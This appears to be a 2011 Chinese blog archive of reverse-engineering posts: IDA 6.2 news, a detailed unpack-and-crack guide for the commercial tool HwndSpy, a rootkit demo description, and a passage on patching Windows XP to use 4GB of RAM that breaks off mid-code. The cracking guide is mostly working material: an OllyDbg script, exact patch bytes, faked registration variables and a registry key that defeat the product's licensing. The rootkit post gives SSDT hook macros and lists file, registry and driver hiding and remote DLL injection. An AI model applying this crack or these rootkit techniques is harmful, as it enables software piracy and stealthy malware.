2011年7月31日星期日

IDA 6.2 增加數據快照功能

IDA官網于7月29日發佈了一則新消息,IDA 6.2支持數據快照功能.
據說,此功能是應使用者要求提供撤銷已經保存了的數據而開發的,原文如下:


'The most frequently asked question we get during the IDA Pro trainings, on the support forum or via support emails is: “When will IDA Pro support the undo feature?” or “How can I undo an operation in IDA Pro”.

Our answer has always been: “Sorry, it is not possible to undo in IDA Pro” or “This feature will eventually be implemented sometime in the future”.

In this blog post, we introduce the new database snapshots feature that will be present in IDA Pro 6.2'


此功能會在硬盤上創建備份文件如:databasename_mmddyyyy_hhmmss.idb,這個功能與"虛擬機快照"非常类似,用户可以在任何时间点虚拟机的快照,并与新的数据库快照功能(还原,删除等... ...)

此功能可以在兩個地方找到,一個是文件菜單:
或者是快捷鍵Ctrl-Shift-W.
也可以在查看菜單找到:
快捷鍵為Ctrl-Shift-T.

有讀者評論此功能非常實在,以前經常自己手動備份非常麻煩,有了這個功能減少了勞動量.

2011年7月30日星期六

新手補給之脫殼+破解—— HwndSpy v1.9(Armadillo)


作 者: rocktx
時 間: 2010-06-03,22:06:42 
鏈接: http://bbs.pediy.com/showthread.php?t=114458 
【文章標題】: 新手補給之脫殼+破解—— HwndSpy v1.9(Armadillo) 
【文章作者】: rocktx 
【軟件名稱】: HwndSpy 
【軟件大小】: 920KB 
【下載地址】: http://www.highplains.net/public/HPSHwndSpy.exe 
【加殼方式】: Armadillo 
【保護方式】: Armadillo 
【編寫語言】: VC6 
【操作平台】: WinXP SP3 
【軟件介紹】: 簡直就是 SpyXX 加強版 
【作者聲明】: 拙作一篇,獻給像我一樣的精品菜鳥,好好學習,天天向上! -------------------------------------------------- ------------------------------
【詳細過程】 
  
  
  
  
一、脫殼
  
  
保護方式:
  
!- Protected Armadillo
  
Protection system (Professional)
  
!- <Protection Options>
  
Debug-Blocker
  
CopyMem-II
  
Enable Import Table Elimination
  
Enable Memory-Patching Protections
  
!- <Backup Key Options>
  
Variable Backup Keys
  
!- <Compression Options>
  
Better/Slower Compression
  
!- <Other Options>
  
!- 版本號: 4.10 08Apr2005
  
!- Elapsed Time 00h 00m 12s 734ms
  
  
重點是前三項保護方式:
  
Debug-Blocker
  
CopyMem-II
  
Enable Import Table Elimination
  
  
準備工具:
  
OD (with HideOD 插件) ——— 插件用於AntiAntiDebug
  
ArmaDetach 1.3 —————— 主要功臣,大大加快脫殼進度,有時候在處理Debug-Blocker 時,1.1 版會比較穩定
  
LordPE —————————— 處理PE 模塊
  
ImportRec 1.6 or 1.7 —— 處理IAT
  
ArmInline 0.96 —————— 處理IAT 亂序
  
FixRes —————————— 處理資源
  
ODbgScript plugin v1.47 —— OD腳本插件,一般使用1.47 或以上的版本
  
CFF Explorer —————— 又一款PE 編輯器,可以不用,純粹個人喜好
  
  
準備腳本(將下面的文本保存為.osc 或者.txt 文件):
  
////////////////////////////////////////////////// //////////////////////////////////////////////////
  
//轉單進程腳本
  
msg "請忽略所有異常,並添加忽略C000001E異常,然後運行本腳本!"
  
gpa "OpenMutexA","kernel32.dll"
  
bp $RESULT
  
esto
  
exec
  
pushad
  
pushfd
  
push edx
  
xor eax,eax
  
push eax
  
push eax
  
call kernel32.CreateMutexA
  
popfd
  
popad
  
jmp kernel32.OpenMutexA
  
ende
  
bc eip
  
msg "現已轉換成單進程!"
  
ret
  
////////////////////////////////////////////////// //////////////////////////////////////////////////
  
  
首先用HideOD 隱藏好OD,然後忽略所有異常,如果實在搞不定,可以用看雪的OllyICE;
  
  
下面開始流水作業(考慮到篇幅和精力,本人未啟用完全手脫功能);
  
  
  
1、尋找OEP
  
  
打開ArmaDetach v1.3,選擇CopyMem-II 模式,拖入HwndSpy.exe 文件,顯示信息
  
-------------------------------------
  
Filename: HwndSpy.exe
  
Parent process iD: [000004BC]
  
Processing...
  
[PROTECTiON S​​YSTEM]
  
Professional Edition
  
[PROTECTiON OPTiONS]
  
Debug-Blocker protection detected
  
CopyMem-II protection detected
  
Memory-Patching Protections enabled
  
Import Table Elimination enabled
  
[CHiLD iNFO]
  
Crypto call found: [0049BA76]
  
Child process iD: [00000D9C] // 進程ID
  
Entry point: [0042A2C6] // OEP
  
Original bytes: [558BEC6A] // OEP 處4個字節值
  
Detached successfully :)
  
-------------------------------------
  
打開OD,附加進程00000D9C 後Alt+F9,會停在OEP,還原上面的4個字節值後:
  
0042A2C6 55 push ebp
  
0042A2C7 8BEC mov ebp,esp
  
0042A2C9 6A FF push -1
  
0042A2CB 68 F8424500 push HwndSpy.004542F8
  
0042A2D0 68 B8914200 push HwndSpy.004291B8
  
0042A2D5 64:A1 00000000 mov eax,dword ptr fs:[0]
  
0042A2DB 50 push eax
  
  
  
2、處理IAT
  
  
為避免功虧一簣,這裡推薦使用ArmaDetach v1.1,拖入HwndSpy.exe 文件後顯示信息
  
-------------------------------------
  
DONE!
  
Child process ID: 0000092C // 進程ID
  
Entry point: 004BD000 // 殼的入口
  
Original bytes: 60E8 // 殼的入口處頭2個字節值
  
-------------------------------------
  
再打開一個OD,附加進程00000B54,Alt+F9返回並還原上面的2個字節到入口:
  
004BD000 > 60 pushad
  
004BD001 E8 00000000 call HwndSpy.004BD006
  
004BD006 5D pop ebp
  
004BD007 50 push eax
  
004BD008 51 push ecx
  
004BD009 0FCA bswap edx
  
004BD00B F7D2 not edx
  
004BD00D 9C pushfd
  
  
用ODbgScript v1.47 載入上面保存的腳本文件,程序會自動執行,將進程由雙變單;
  
然後he GetModuleHandleA,Shift + F9一直運行,注意觀察堆棧窗口,直到依次出現:
  
00127A6C 00D752BA /CALL 到GetModuleHandleA 來自00D752B4
  
00127A70 00D88BAC \pModule = "kernel32.dll"
  
00127A74 00D89CC4 ASCII "VirtualAlloc"
  
...
  
00127A6C 00D752D7 /CALL 到GetModuleHandleA 來自00D752D1
  
00127A70 00D88BAC \pModule = "kernel32.dll"
  
00127A74 00D89CB8 ASCII "VirtualFree"
  
...
  
001277D0 00D64F0D /CALL 到GetModuleHandleA 來自00D64F07
  
001277D4 00127920 \pModule = "kernel32.dll"
  
001277D8 00000000
  
  
取消斷點,Alt+F9返回到
  
00D64F0D 8B0D AC0DD900 mov ecx,dword ptr ds:[D90DAC]
  
00D64F13 89040E mov dword ptr ds:[esi+ecx],eax
  
00D64F16 A1 AC0DD900 mov eax,dword ptr ds:[D90DAC]
  
00D64F1B 391C06 cmp dword ptr ds:[esi+eax],ebx
  
00D64F1E 75 16 jnz short 00D64F36
  
00D64F20 8D85 B4FEFFFF lea eax,dword ptr ss:[ebp-14C]
  
00D64F26 50 push eax
  
00D64F27 FF15 B432D800 call dword ptr ds:[D832B4] ; kernel32.LoadLibraryA
  
00D64F2D 8B0D AC0DD900 mov ecx,dword ptr ds:[D90DAC]
  
00D64F33 89040E mov dword ptr ds:[esi+ecx],eax
  
00D64F36 A1 AC0DD900 mov eax,dword ptr ds:[D90DAC]
  
00D64F3B 391C06 cmp dword ptr ds:[esi+eax],ebx
  
00D64F3E 0F84 2F010000 je 00D65073 ; Magic jump,改成jmp 後,Enter 跟隨
  
  
來到
  
00D65073 83C7 0C add edi,0C
  
00D65076 89BD 78FDFFFF mov dword ptr ss:[ebp-288],edi
  
00D6507C 83C6 04 add esi,4
  
00D6507F 395F FC cmp dword ptr ds:[edi-4],ebx
  
00D65082 ^ 0F85 49FEFFFF jnz 00D64ED1
  
00D65088 EB 03 jmp short 00D6508D ; 這裡F4
  
00D6508A D6 salc
  
00D6508B D6 salc
  
00D6508C 8F ??? ; 未知命令
  
  
恢復上面的修改,在內存鏡像的.text 段F2下斷,Shift+F9運行後斷下,IAT解碼完畢;
  
  
現在回到前一個OD,右鍵查找模塊調用(Search for all intermodular calls),在結果中隨便點一個已解碼函數調用,回車後跟隨IAT地址,比如到
  
00F21748 7C80E87C kernel32.FileTimeToSystemTime
  
00F2174C 7C80E8F6 kernel32.FileTimeToLocalFileTime
  
00F21750 773D7E70 COMCTL32.CreatePropertySheetPageA
  
  
隨便複製幾個字節的二進制碼,到後一個OD 的內存鏡像中查找該值,會找到
  
00F312CC 020C0119
  
00F312D0 77F18BEE GDI32.SaveDC
  
00F312D4 7E41945D USER32.GetWindowLongA
  
00F312D8 00D6623E
  
00F312DC 7E42D312 USER32.DestroyIcon
  
00F312E0 7E42D312 USER32.DestroyIcon
  
...
  
00F31BF0 77F1E9BE GDI32.Rectangle
  
00F31BF4 7E4186C7 USER32.GetDC
  
00F31BF8 77F1DCFF GDI32.GetTextExtentPointA
  
00F31BFC 00000000
  
  
將這些已完全解碼的IAT 指針值,用二進制方式複制並粘貼到前一個OD的IAT中,注意不要錯位;
  
  
然後打開ArmInline,載入前一個OD,在輸入表亂序選項卡中填寫:
  
New base va of IAT = 0046D000
  
Length of existing IAT = 1000 (AmrInline 提供的值通常會偏小)
  
  
最後點Rebase IAT,輸入表就移動到0046D000 處了;
  
當然,如果不想用ArmInline,可以試試ImportRec的重建IAT功能;
  
  
3、dump 內存鏡像,用ImportRec 恢復一下IAT,脫殼完畢;
  
  
  
  
二、破解:
  
Armadillo 殼的破解起來比較簡單,主要用到兩個函數:LoadLibrary、GetEnvironmentVariable,對於某些版本可以
  
直接修改驗證段的返回值,但是如果程序在多處有檢測,逐一修改不僅麻煩,還有可能會錯過暗樁的處理;
  
  
  
1、bp LoadLibraryA
  
  
Armadillo 在驗證時,一般會先LoadLibrary("Armaccess.dll"),憑該函數斷點,很容易找到關鍵代碼:
  
004145A6 8D85 30FFFFFF lea eax,dword ptr ss:[ebp-D0]
  
004145AC 50 push eax
  
004145AD FF15 14D24600 call dword ptr ds:[<&kernel32.LoadLibraryA>] ; kernel32.LoadLibraryA
  
004145B3 8BF8 mov edi,eax
  
004145B5 3BFB cmp edi,ebx
  
004145B7 897D F8 mov dword ptr ss:[ebp-8],edi
  
004145BA 75 09 jnz short 004145C5 ; 成功載入就會跳走
  
004145BC 5F pop edi
  
004145BD 5E pop esi
  
004145BE 33C0 xor eax,eax ; 否則返回0,所以要讓它返回1
  
004145C0 5B pop ebx
  
004145C1 8BE5 mov esp,ebp
  
004145C3 5D pop ebp
  
004145C4 C3 retn
  
  
往上到段首
  
00414550 55 push ebp
  
00414551 8BEC mov ebp,esp
  
00414553 81EC 98010000 sub esp,198
  
00414559 53 push ebx
  
0041455A 56 push esi
  
0041455B 57 push edi
  
  
改為
  
00414550 33C0 xor eax,eax
  
00414552 40 inc eax
  
00414553 C3 retn
  
  
  
2、bp GetEnvironmentVariableA
  
  
Armadillo 會使用該函數獲取一些環境變量,也就是註冊信息,對於本程序,要檢測的變量為:
  
  
HPSKEYTYPE、USESLEFT、HPSMAXDAYS、DAYSINSTALLED、USERKEY、USERNAME、HPSVERSION、HPSPRODUCTID
  
  
當然前面還有個FIRSTRUN,這些變量名是用GetEnvironmentVariableA 斷點跟踪獲得的,本程序的調用方式如下:
  
-------------------------------------------------- ---------
  
typedef DWORD (WINAPI * PGENV)(LPCTSTR, LPTSTR, DWORD);
  
HMODULE hDLL = LoadLibrary("kernel32.dll");
  
// hDLL = GetModuleHandle("kernel32.dll");
  
if (hDLL)
  
{
    
PGENV getenv = (PGENV)GetProcAddress(hDLL, "GetEnvironmentVariableA");
    
if (getenv)
    
{
      
getenv("USERKEY", szKey, sizeof(szKey) / sizeof(TCHAR));
      
// 檢查 szKey 值
    
}
  
}
  
-------------------------------------------------- ---------
  
下面是找到的驗證過程函數之一:
  
00401A50 64:A1 00000000 mov eax,dword ptr fs:[0]
  
00401A56 6A FF push -1
  
00401A58 68 2DA04400 push 0044A02D
  
00401A5D 50 push eax
  
00401A5E 64:8925 00000000 mov dword ptr fs:[0],esp
  
00401A65 81EC E0030000 sub esp,3E0
  
00401A6B 8D4424 18 lea eax,dword ptr ss:[esp+18]
  
00401A6F 50 push eax
  
00401A70 E8 4BEB0000 call 004105C0 ; 這裡開始Patch,改成jmp 0044D150
  
00401A75 83C4 04 add esp,4
  
00401A78 85C0 test eax,eax
  
00401A7A 0F84 47090000 je 004023C7
  
  
Patch代碼:
  
0044D150 60 pushad
  
0044D151 E8 00000000 call 0044D156
  
0044D156 5F pop edi
  
0044D157 83EF 06 sub edi,6
  
0044D15A 83C7 50 add edi,50
  
0044D15D 33C0 xor eax,eax
  
0044D15F 66:8B07 mov ax,word ptr ds:[edi]
  
0044D162 66:85C0 test ax,ax
  
0044D165 74 13 je short 0044D17A
  
0044D167 03C7 add eax,edi
  
0044D169 50 push eax
  
0044D16A 66:0347 02 add ax,word ptr ds:[edi+2]
  
0044D16E 50 push eax
  
0044D16F FF15 C8D34600 call dword ptr ds:[46D3C8] ; kernel32.SetEnvironmentVariableA
  
0044D175 83C7 04 add edi,4
  
0044D178 ^ EB E3 jmp short 0044D15D
  
0044D17A 61 popad
  
0044D17B E8 4034FCFF call 004105C0
  
0044D180 ^ E9 F048FBFF jmp 00401A75
  
  
二進制:
  
60 E8 00 00 00 00 5F 83 EF 06 83 C7 50 33 C0 66 8B 07 66 85 C0 74 13 03 C7 50 66 03 47 02 50 FF
  
15 C8 D3 46 00 83 C7 04 EB E3 61 E8 40 34 FC FF E9 F0 48 FB FF
  
  
數據部分:
  
0044D1A0 00040060
  
0044D1A4 0004006C
  
0044D1A8 00040078
  
0044D1AC 00040084
  
0044D1B0 00380094
  
0044D1B4 000800D4
  
0044D1B8 000400E8
  
0044D1BC 000800F4
  
  
二進制:
  
60 00 04 00 6C 00 04 00 78 00 04 00 84 00 04 00 94 00 38 00 D4 00 08 00 E8 00 04 00 F4 00 08 00
  
  
...
  
0044D200 00000034 4...
  
0044D204 4B535048 HPSK
  
0044D208 59545945 EYTY
  
0044D20C 00004550 PE..
  
0044D210 00000031 1...
  
0044D214 53455355 USES
  
0044D218 5446454C LEFT
  
0044D21C 00000000 ....
  
0044D220 00000032 2...
  
0044D224 4D535048 HPSM
  
0044D228 41445841 AXDA
  
0044D22C 00005359 YS..
  
0044D230 00000030 0...
  
0044D234 53594144 DAYS
  
0044D238 54534E49 INST
  
0044D23C 454C4C41 ALLE
  
0044D240 00000044 D...
  
0044D244 31313131 1111
  
0044D248 31313131 1111
  
0044D24C 3232322D -222
  
0044D250 32323232 2222
  
0044D254 33332D32 2-33
  
0044D258 33333333 3333
  
0044D25C 342D3333 33-4
  
0044D260 34343434 4444
  
0044D264 2D343434 444-
  
0044D268 35353535 5555
  
0044D26C 35353535 5555
  
0044D270 3636362D -666
  
0044D274 36363636 6666
  
0044D278 00000036 6...
  
0044D27C 52455355 USER
  
0044D280 0059454B KEY.
  
0044D284 00000000 ....
  
0044D288 6B636F72 rock
  
0044D28C 00007874 tx..
  
0044D290 52455355 USER
  
0044D294 454D414E NAME
  
0044D298 00000000 ....
  
0044D29C 00000000 ....
  
0044D2A0 00000031 1...
  
0044D2A4 56535048 HPSV
  
0044D2A8 49535245 ERSI
  
0044D2AC 00004E4F ON..
  
0044D2B0 31303546 F501
  
0044D2B4 00000000 ....
  
0044D2B8 50535048 HPSP
  
0044D2BC 55444F52 RODU
  
0044D2C0 44495443 CTID
  
  
二進制:
  
34 00 00 00 48 50 53 4B 45 59 54 59 50 45 00 00 31 00 00 00 55 53 45 53 4C 45 46 54 00 00 00 00
  
32 00 00 00 48 50 53 4D 41 58 44 41 59 53 00 00 30 00 00 00 44 41 59 53 49 4E 53 54 41 4C 4C 45
  
44 00 00 00 31 31 31 31 31 31 31 31 2D 32 32 32 32 32 32 32 32 2D 33 33 33 33 33 33 33 33 2D 34
  
34 34 34 34 34 34 34 2D 35 35 35 35 35 35 35 35 2D 36 36 36 36 36 36 36 36 00 00 00 55 53 45 52
  
4B 45 59 00 00 00 00 00 72 6F 63 6B 74 78 00 00 55 53 45 52 4E 41 4D 45 00 00 00 00 00 00 00 00
  
31 00 00 00 48 50 53 56 45 52 53 49 4F 4E 00 00 46 35 30 31 00 00 00 00 48 50 53 50 52 4F 44 55
  
43 54 49 44
  
  
原理是調用SetEnvironmentVariableA 設置環境變量:
  
-------------------------------------------------- ------
  
HPSKEYTYPE = "4" (註冊碼類型,必須為4)
  
USESLEFT = "1"
  
HPSMAXDAYS = "2" (日期限制)
  
DAYSINSTALLED = "0"
  
USERKEY = "11111111-22222222-33333333-44444444-55555555-66666666" (註冊碼任意,長度區間[41, 100])
  
USERNAME = "rocktx" (用戶名任意,但不能是"DEFAULT",長度不大於100)
  
HPSVERSION = "1" (版本ID,即:1.9版,是程序之前用GetFileVersion 獲得的)
  
HPSPRODUCTID = "F501"
  
-------------------------------------------------- ------
  
  
最後要導入註冊表(要和環境變量相匹配):
  
-------------------------------------------------- ------
  
Windows Registry Editor Version 5.00
  
  
[HKEY_CURRENT_USER\Software\High Plains Software\HPS HwndSpy\User]
  
"UserName"="rocktx"
  
"User"="rocktx"
  
"RegistrationKey"="11111111-22222222-33333333-44444444-55555555-66666666"
  
-------------------------------------------------- ------
  
  
  
  
三、優化
  
  
1、挪動IAT (這一步可以合併到脫殼階段)
  
  
對於一般的VC 程序,IAT是在.rdata 區段,以Notepad98.exe 為例,用L​​ordPE 查看輸入表在00406000 處,在OD中:
  
00406000 000061B4
  
00406004 FFFFFFFF
  
00406008 FFFFFFFF
  
0040600C 00006592 // 這裡就是第一個模塊shell32.dll 的偏移,查看00406592 就會看到
  
00406010 000063F8
  
  
現在回到HwndSpy 的.rdata段,右鍵查找字符串:kernel32.dll,找到
  
0045D1BE 4E52454B KERN
  
0045D1C2 32334C45 EL32
  
0045D1C6 6C6C642E .dll
  
  
顯然,該模塊的偏移值為0005D1BE,繼續查找這個常量,來到
  
0045BFA8 00000000 // 這裡就是IAT的原始位置,RVA = 0005BFA8
  
0045BFAC 00000000
  
0045BFB0 00000000
  
0045BFB4 0005D1BE // 這裡指向kernel32.dll
  
0045BFB8 00000000
  
  
當然,kernel32.dll 不一定是第一個模塊,數據窗口中上下翻翻,自己確定一下。
  
  
從0045BFA8 到.rdata 段尾用00 清空(如果程序有導出表,注意不要一併清空了),將程序保存為一個副本0001.exe,以後的操作
  
都針對這個副本進行,打開ImportRec,選項中只勾選Create New IAT (重建IAT) ,獲取IAT 後還原到RVA 0005BFA8 處即可;
  
  
  
2、挪動資源
  
  
LordPE 查看.text1 區段的偏移為0006D000,下面的步驟就是將資源放到這裡:
  
a、用FixRes 打開0001.exe,NewRVA = 0006D000,FileAlignment = 1000,選擇導出路徑後,點Dump Resource;
  
b、用CFF Explorer 打開0001.exe,除了前三個區段,將後面的垃圾區段全部刪除(Delete Section (Header and Data))後保存;
  
c、用LordPE 打開0001.exe,查看區段表,右鍵Load section from disk...(從磁盤中載入區段),載入剛才Dump 的資源文件;
  
如果想要完美,可以將區段名改為.rsrc,區段屬性改為40000040;
  
d、修正資源的RVA 為0006D000,重建一下PE;
  
e、最後修正可選頭中的編譯器鏈接版本為0600,以免Peid 認不出來,將Base of Code 改成00001000,以免OD 分析不了代碼結構;
  
  
3、去掉多餘的菜單項( 這些菜單項的功能純粹是增加右鍵菜單長度):
  
00405CB4 8B55 04 mov edx,dword ptr ss:[ebp+4] ; 改成jmp 00405D05
  
00405CB7 6A 00 push 0
  
00405CB9 6A 00 push 0
  
00405CBB 68 00080000 push 800
  
00405CC0 52 push edx
  
00405CC1 FFD7 call edi
  00405CC3 8B45 04 mov eax,dword ptr ss:[ebp+4]
  
00405CC6 68 B8FF4500 push 0045FFB8 ; ASCII "Re&gister..."
  
  
至此,程序處理完畢,大小568 kb,可以用UPX壓縮;
  
  
  
  
-------------------------------------------------- ------------------------------ 【經驗總結】
  
全在上面了,好累,以後注意勞逸結合,Armageddon處理一下就可以了。
  
-------------------------------------------------- ------------------------------ 【版權聲明】: 本文原創於看雪技術論壇, 轉載請註明作者並保持文章的完整, 謝謝!

                                                       
2010年06月03日 22:05:12

2011年7月29日星期五

分享比較完整的ROOTKIT DEMO! 原來Shadow Hook和SSDT Hook一樣容易!

作 者: embedlinux


這裡寫的ROOTKIT比較簡單(有些代碼是消化別人的代碼後改寫過來的),高手跳過.......
包含以下內容:(詳細請看源代碼)
SSDT Hook
//hook system call
#define HOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ], \
          (LONG)pHookFunc)
      
//unhook system call
#define UNHOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ],\
          (LONG)pOrigFunc)
SSDT HOOK瞭如下函數:
ZwQueryValueKey
ZwEnumerateValueKey
ZwQueryDirectoryFile
ZwOpenProcess
ZwDeleteKey
ZwDeleteValueKey
ZwSaveKey
ZwLoadDriver
ZwSetSystemInformation
ZwTerminateProcess

Shadow Hook
仿照SSDT HOOK,下面定義兩個宏,讓Shadow Hook和SSDT Hook一樣簡單!
//hook shadow system call
#define HOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ], \
          (LONG)pHookFunc)
      
//unhook shadow system call
#define UNHOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ],\
          (LONG)pOrigFunc)
上週一接到騰訊的電話面試,由於有一段時間沒研究HOOK了,問到Shadow Hook時沒回答好!汗!
現在把Shadow Hook重新整理了一下!
Shadow Hook瞭如下函數,程序框架比較好,容易加入新掛鉤函數
NtUserFindWindowEx
NtUserGetForegroundWindow
NtUserQueryWindow
NtUserBuildHwndList
NtUserWindowFromPoint
NtUserSetWindowsHookEx
NtUserGetDC
NtUserGetDCEx
NtUserSendInput

為了保護進程,研究了終止進程的方法
WINDOWS內核定時器
老土的文件/目錄隱藏
註冊表鍵值隱藏
驅動隱藏
系統線程
IRP文件操作

多種加載內核級ROOTKIT方法
Ring3中恢復SSDT(ZwSystemDebugControl)
從資源釋放文件
遠程進程注入
消息鉤子注入DLL
查找窗口
查找進程

注意:不要隨便運行程序,最好在虛擬機下運行!此程序僅供學習WINDOWS內核驅動編程用!
在自己的ntddk.h中的結構IO_STACK_LOCATION添加如下代碼才能順利通過編譯:
//Parameters for IRP_MJ_DIRECTORY_CONTROL
struct {
   ULONG Length;
   PUNICODE_STRING FileName;
   FILE_INFORMATION_CLASS POINTER_ALIGNMENT \
   FileInformationClass;
} QueryDirectory;
下面兩圖分別是程序啟動信息和在Ring0恢復SSDT:

2011年7月28日星期四

讓XP用上4G內存

作 者: scdey
時 間: 2011-07-28, 00:13:40
鏈接: http://bbs.pediy.com//showthread.php?t=137830

先上圖,patch之後的,原來只有2.98G,現在是3.86G了

去年7月入手小黑T410,到手就裝了4G的內存,WINDOWS 7的破解補丁來的很快,很順利就用上了3.86G(糾
結於剩下的140M哪裡去了?至今也沒搞明白,只知道主板沒有映射),而所謂的XP的種種補丁,不外乎就是
Ramdisk,開啟PAE之類的,毫無用處,最可憐的是竟然被某網友的“開啟了PAE就能用到全部4G內存,系統
屬性頁顯示還是2.98G是假的”一說給忽悠了一年,沒文化真可怕。。。就這麼將信將疑用了一年,中間也
糾結過一段時間,沒有深入分析,近日越想越感覺不對勁,再來糾結糾結。 。 。
用WinDbg看看

代碼:
lkd> dd MmHighestPhysicalPage
8088b124 000bf7ff 000bf399 00000040 00000000
lkd> dd MmNumberOfPhysicalPages
8088b128 000bf399 00000040 00000000 7fff0000
可見最高物理內存頁號MmHighestPhysicalPage值為bf7ff,物理內存總頁數MmNumberOfPhysicalPages值為
bf399,換算成物理內存數0xbf399*0x1000=2.98G正好是系統屬性頁顯示的2.98G,改變這個值,系統屬性頁
的值也會跟著變,是不是把這個值改了你就能用到更多的內存了呢,當然不是,任務管理器裡記錄的內存使
用量確是真是的。
那是不是我的PAE沒有真正啟用呢?
那我們再用WinDbg看看

代碼:
lkd> !pte 80800000
                    VA 80800000
PDE at C0602020 PTE at C0404000
contains 00000000008009E3 contains 0000000000000000
pfn 800 -GLDA--KWEV LARGE PAGE pfn 800
看吧,PDE和PTE裡面的物理地址00000000008009E3和0000000000000000都是64位的,而在沒有啟用PAE的系
統裡,頁表項裡的物理地址是32位的。 (為什麼PTE裡是一串0呢?因為我們看的80800000這個虛擬地址是
ntkrnlpa.exe的基地址,它當然是加載在物理內存的0地址的)
那麼是不是系統偷偷地在用我的4G內存了,而給我顯示出2.96G的假象呢?
再祭出我們的法寶WinDbg

代碼:
lkd> dd poi(MmPhysicalMemoryBlock)
8ad75c80 00000007 000bf3ab 00000001 0000009d
8ad75c90 00000100 000bf17c 000bf282 000000dd
8ad75ca0 000bf40f 00000060 000bf70f 00000008
8ad75cb0 000bf71f 0000004c 000bf7ff 00000001
這裡有兩個結構體:

代碼:
typedef struct _PHYSICAL_MEMORY_RUN {
    PFN_NUMBER BasePage;
    PFN_NUMBER PageCount;
} PHYSICAL_MEMORY_RUN, *PPHYSICAL_MEMORY_RUN;

typedef struct _PHYSICAL_MEMORY_DESCRIPTOR {
    ULONG NumberOfRuns;
    PFN_NUMBER NumberOfPages;
    PHYSICAL_MEMORY_RUN Run[1];
} PHYSICAL_MEMORY_DESCRIPTOR, *PPHYSICAL_MEMORY_DESCRIPTOR;
從上面可以看出,我的機器有7塊可用的內存,總共有bf3ab頁(為什麼這個數字跟上面看到的
MmNumberOfPhysicalPages不符呢? ),分別為1 -9d,100- bf17c,…,bf7ff,可見最大物理內存地址為
bf7ff,還是與4G內存相去甚遠啊。 。 。
那麼是不是我的主板根本就不識別這麼大的內存呢? ?
那麼我們再做做實驗,用nt4的源代碼編譯一份NTLDR,把osloader.exe探測到的物理內存輸出一份,下面是
通過中斷獲取的內存佈局圖,BIOS專家們都叫把它做E820圖

代碼:
Base Size Type
0 9E800 1
9E800 1800 2
D2000 2000 2
DC000 24000 2
100000 BF17C000 1
BF27C000 6000 2
BF282000 DD000 1
BF35F000 12000 2
BF371000 1000 4
BF3F2000 1D000 2
BF40F000 60000 1
BF46F000 1F9000 2
BF668000 80000 4
BF6E8000 27000 2
BF717000 8000 1
BF71F000 4C000 1
BF76B000 C000 4
BF777000 3000 3
BF77A000 7000 4
BF781000 1000 3
BF782000 9000 4
BF78B000 1000 3
BF78C000 13000 4
BF79F000 60000 3
BF7FF000 1000 1
BF800000 800000 2
E0000000 10000000 2
FEAFF000 1000 2
FEC00000 10000 2
FED00000 400 2
FED1C000 4000 2
FED20000 70000 2
FEE00000 1000 2
FF000000 1000000 2
100000000 38000000 1
圖中type為1的就是分配給本機物理內存的地址,其他的為其他硬件所用,我們把內存地址挑出來:

代碼:
Base Size
0 9E800
100000 BF17C000
BF282000 DD000
BF40F000 60000
BF717000 8000
BF71F000 4C000
BF7FF000 1000
100000000 38000000
總數為F73AC800=3.86G,儘管4G以下的地址空間被硬件佔用了不少,主板並沒有放棄那塊內存嘛,只是把他
們映射到了4G以上的空間,即100000000-138000000,看來是XP那傢伙太不地道,活生生把咱們使用這塊內
存給掐掉了,故而產生了MmHighestPhysicalPage= BF7FF,無恥的傢伙!什麼? XP的內存機制不支持?不要
為XP辯解,PAE技術早在Intel P6家族的CPU身上就已經開始使用了,Intel手冊第一卷3.3.6節關於PAE有如
下表述:
Beginning with P6 family processors, the IA-32 architecture supports addressing of
up to 64 GBytes (2^36 bytes) of physical memory.
也就是說,從Intel P6家族的CPU開始,(PAE技術讓)IA-32架構的CPU就支持對64G的物理內存進行尋址,
P6家族可是很老CPU了,奔二,奔三就屬於P6家族的,所以XP這個後來才發布的操作系統不可能連PAE都沒考
慮進去吧。
既然那塊4G以上的內存地址被主板識別,NTLDR也探測到了,操作系統也支持,那我們為什麼還是用不到
呢?到底是NTLDR沒有告訴ntkrnlpa.exe,還是ntkrnlpa.exe自己給我們截斷了?
這怎麼調試呢? Bochs?不行,我總共才4G內存,哪有那麼多內存分配給Bochs用呢,要有XP的ntos的源碼就
好了,ntos的入口函數為
VOID KiSystemStartup(PLOADER_PARAMETER_BLOCK KissLoaderBlock)
在NTLDR向ntos交權的時候,會將內存描述鍊錶通過結構體參數LOADER_PARAMETER_BLOCK傳過去,這個結構
體原型為

代碼:
typedef struct _LOADER_PARAMETER_BLOCK {
    LIST_ENTRY LoadOrderListHead;
    LIST_ENTRY MemoryDe​​scriptorListHead;
    LIST_ENTRY BootDriverListHead;
ULONG KernelStack;
……
後面太長,省略掉
} LOADER_PARAMETER_BLOCK, *PLOADER_PARAMETER_BLOCK;
既然沒有XP的源碼,那就用wrk將就一下吧,將wrk編譯的內核文件wrkx86.exe來替換ntkrnlpa.exe,系統肯
定是起不來的,不過我們只需要在wrkx86.exe的入口點打印出NTLDR傳過來的內存描述鍊錶就好了,
MEMORY_ALLOCATION_DESCRIPTOR的原型為

代碼:
typedef struct _MEMORY_ALLOCATION_DESCRIPTOR {
    LIST_ENTRY ListEntry;
    TYPE_OF_MEMORY MemoryType;
    ULONG BasePage;
    ULONG PageCount;
} MEMORY_ALLOCATION_DESCRIPTOR, *PMEMORY_ALLOCATION_DESCRIPTOR;
於是我們很快得到了結果:(無法上圖,遺憾)

咦! NTLDR貌似真的沒有把4G以上的地址傳過來啊,怎麼到FF000這塊內存就完了呢?
難道NTLDR私自把4G以上的地址給裁了?難道一切罪惡的源泉在NTLDR?在此我犯了個嚴重的錯誤,以為勝利
在望,加班加點研究NTLDR,最好成功跳過NTLDR截去4G以上內存的代碼了,啟動發現XP依然顯示2.98G的可
用內存,怎麼回事呢?回過頭來再分析NTLDR,才發現瞭如下的代碼

代碼:
if ( (_BYTE)BlUsePae_0 )
    {
      v10 = BlpAllocatePAETables();
      if ( v10 )
        return v10;
    }
    else
    {
